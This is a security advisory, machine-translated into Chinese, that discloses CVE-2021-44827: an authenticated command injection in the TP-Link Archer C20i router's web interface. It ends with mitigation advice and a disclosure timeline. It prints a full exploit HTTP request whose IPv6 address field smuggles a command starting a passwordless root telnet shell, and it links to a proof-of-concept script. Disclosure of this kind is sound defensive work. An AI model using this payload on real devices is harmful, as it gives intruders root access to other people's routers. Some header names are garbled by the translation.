概括
TP-Link 路由器 Archer C20i 包含经过身份验证的远程代码执行漏洞。
技术细节
通过将操作系统命令注入网络接口配置 Web 请求,TP-Link 路由器Archer C20i
固件版本或更旧版本容易受到经过身份验证的远程代码执行的攻击。0.9.1 3.2 v003a.0 Build 170221 Rel.55462
需要管理员凭据才能利用它。
漏洞
易受攻击的参数是X_TP_ExternalIPv6Address
,一个利用示例可能如下所示:
POST /cgi?2&2 HTTP/1.1
主机:192.168.0.1
用户代理:Mozilla/5.0 (X11; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0
接受: */*
接受语言:en-US,en;q=0.5
接受编码:gzip,放气
参考:http://192.168.0.1/mainFrame.htm
内容类型:文本/纯文本
内容长度:657
来源:http://192.168.0.1
连接:关闭
Cookie:授权=基本 YWRtaW46a2o4NzZmc2Q1NjI0ODk=
[WAN_ETH_INTF#1,0,0,0,0,0#0,0,0,0,0,0]0,1
X_TP_lastUsedIntf=ipoe_eth3_s
[WAN_IP_CONN#1,1,1,0,0,0#0,0,0,0,0,0]1,21
外部IP地址=192.168.9.222
子网掩码=255.255.255.0
默认网关=192.168.9.2
NATEnabled=1
X_TP_FullconeNATEnabled=0
X_TP_FirewallEnabled=1
X_TP_IGMPProxyEnabled=1
X_TP_IGMPForceVersion=0
最大MTUSize=1500
DNSOverrideAllowed=1
DNSServers=192.168.9.3,0.0.0.0
X_TP_IPv4Enabled=1
X_TP_IPv6Enabled=0
X_TP_IPv6AddressingType=静态
X_TP_ExternalIPv6Address=&telnetd -p 1024 -l sh&
X_TP_PrefixLength=64
X_TP_DefaultIPv6Gateway=::
X_TP_IPv6DNSOverrideAllowed=0
X_TP_IPv6DNSServers=::,::
X_TP_MLDProxyEnabled=0
启用=1
这个经过身份验证的 Web 请求将telnet
在 tcp 端口 1024 上启动一个服务器,并允许在没有密码的情况下进行 root 连接。
概念验证
A proof of concept python script is available in this repo:
https://github.com/full-disclosure/CVE-2021-44827
Update is available
To mitigate the issue please update to the latest available firmware from TP-Link:
https://www.tp-link.com/en/support/download/archer-c20i/#Firmware
Full Disclosure team recommends using routers that support OpenWRT
.
Timeline
2021-12-08 - initial research
2021-12-09 - CVE-2021-44827 assigned
2021-12-13 - an exploit PoC sent to TP-Link
2021-12-21 - TP-Link confirmed the issue
2022-01-18 - TP-Link releases a fixed firmware and asks to verify
2022-02-17 - TP-Link publishes the fixed firmware
2022-03-02 - full disclosure